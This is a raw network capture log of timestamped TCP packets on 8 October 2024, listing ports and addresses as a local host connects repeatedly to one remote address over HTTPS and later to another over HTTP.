Oct 8, 2024 00:20:50.760530949 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:50.760554075 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:50.760560036 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.040751934 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.040812969 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.040857077 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.040923119 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.040930033 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.040951014 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.040956974 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.043787003 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.043804884 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.043858051 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.044104099 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.044114113 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.638554096 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.638695002 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.652143955 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.652174950 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.652436018 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.653388977 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.653434038 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.653439999 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.921796083 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.921869993 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.921948910 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.922066927 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.922066927 CEST	49941	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.922091007 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.922100067 CEST	443	49941	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.926407099 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.926448107 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:51.926609993 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.926878929 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:51.926893950 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.538801908 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.538922071 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.679847956 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.679857016 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.680294991 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.681179047 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.681214094 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.681242943 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.967988968 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.968069077 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.968153954 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.968241930 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.968262911 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.968275070 CEST	49948	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.968281031 CEST	443	49948	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.971051931 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.971093893 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:52.971173048 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.971503019 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:52.971518040 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.567585945 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.567656040 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.568913937 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.568921089 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.569152117 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.570000887 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.570030928 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.570035934 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.854705095 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.854778051 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.854826927 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.854856014 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.854872942 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.854898930 CEST	49954	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.854904890 CEST	443	49954	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.858546972 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.858583927 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:53.858959913 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.862739086 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:53.862754107 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.266865015 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.266931057 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.268917084 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.268928051 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.269197941 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.270591021 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.270610094 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.270617008 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.555113077 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.555185080 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.555258989 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.555357933 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.555372953 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.555403948 CEST	49960	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.555409908 CEST	443	49960	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.558237076 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.558271885 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:55.558336020 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.558594942 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:55.558607101 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.141876936 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.142060041 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.143140078 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.143151045 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.143470049 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.144145012 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.144176960 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.144181013 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.434613943 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.434676886 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.434777021 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.434998035 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.434998035 CEST	49966	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.435019016 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.435030937 CEST	443	49966	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.438404083 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.438448906 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:56.438539982 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.438826084 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:56.438839912 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.016237974 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.016326904 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.018471003 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.018484116 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.018757105 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.019530058 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.019551039 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.019606113 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.296246052 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.296305895 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.296387911 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.296484947 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.296500921 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.296519995 CEST	49972	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.296525955 CEST	443	49972	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.306592941 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.306629896 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.306859016 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.307238102 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.307254076 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.884557962 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.884738922 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.886112928 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.886125088 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.886408091 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:57.887291908 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.887378931 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:57.887389898 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.168375969 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.168448925 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.168560982 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.168721914 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.168737888 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.168880939 CEST	49978	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.168886900 CEST	443	49978	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.180068016 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.180114985 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.180306911 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.180659056 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.180675030 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.753849030 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.753947020 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.777059078 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.777097940 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.777388096 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:58.778815031 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.778855085 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:58.778858900 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.035867929 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.035953045 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.035978079 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.036000967 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.036010027 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.036010027 CEST	49984	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.036017895 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.036022902 CEST	443	49984	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.041774035 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.041815996 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.041868925 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.042071104 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.042090893 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.631479979 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.631545067 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.633107901 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.633116961 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.633349895 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:59.634052992 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.634092093 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:59.634124994 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.185278893 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.185311079 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.185486078 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.185518980 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.232873917 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.266834974 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.266849041 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.266916037 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.266946077 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.267999887 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.268100023 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.268105984 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.306279898 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.306360960 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.306372881 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.306976080 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.306986094 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.307034016 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.307039022 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.349692106 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.349701881 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.349776983 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.349787951 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.349811077 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.351675034 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.351682901 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.351706982 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.351737022 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.351742029 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.351754904 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.361929893 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.361939907 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.362013102 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.362020016 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375576019 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375585079 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375644922 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.375653028 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375670910 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375715971 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.375720024 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375741005 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375773907 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.375936031 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.375953913 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.375967979 CEST	49994	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.375972986 CEST	443	49994	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.465542078 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.465591908 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:00.465668917 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.466152906 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:00.466166973 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.240084887 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.240205050 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.241421938 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.241435051 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.241674900 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.242376089 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.242403984 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.242408991 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.521480083 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.521563053 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.521677017 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.521855116 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.521874905 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.521889925 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.521895885 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.569442034 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.569477081 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:01.569715977 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.570621014 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:01.570636034 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.142400026 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.142685890 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.149297953 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.149305105 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.149553061 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.152293921 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.152332067 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.152335882 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.425405025 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.425457001 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.425590992 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.425590992 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.425590992 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.468700886 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.468751907 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.468811035 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.469364882 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.469381094 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:02.733652115 CEST	50007	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:02.733680010 CEST	443	50007	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.061547995 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.061625004 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.072930098 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.072945118 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.073285103 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.074080944 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.074107885 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.074115038 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.346070051 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.346133947 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.346189022 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.346225023 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.346242905 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:03.346255064 CEST	50013	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:03.346261024 CEST	443	50013	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:09.219770908 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:09.219865084 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:09.220000982 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:09.223309040 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:09.223323107 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:10.763479948 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:10.763556004 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:10.785818100 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:10.785856009 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:10.786115885 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:10.842226028 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.009738922 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.009815931 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.009887934 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:11.376568079 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:11.376642942 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:11.377470970 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.384138107 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.384138107 CEST	50050	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:21:11.384182930 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:11.384210110 CEST	443	50050	23.145.40.168	192.168.2.4
Oct 8, 2024 00:21:32.493266106 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:32.499903917 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:32.499972105 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:32.500380039 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:32.500399113 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:32.506397009 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:32.507457018 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:33.566517115 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:33.567200899 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:33.567261934 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:33.567306042 CEST	50057	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:33.572274923 CEST	80	50057	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:34.413707972 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:34.418792009 CEST	80	50058	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:34.418885946 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:34.419028044 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:34.419050932 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:34.423819065 CEST	80	50058	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:34.424030066 CEST	80	50058	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:35.197633028 CEST	80	50058	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:35.197896004 CEST	80	50058	109.175.29.39	192.168.2.4
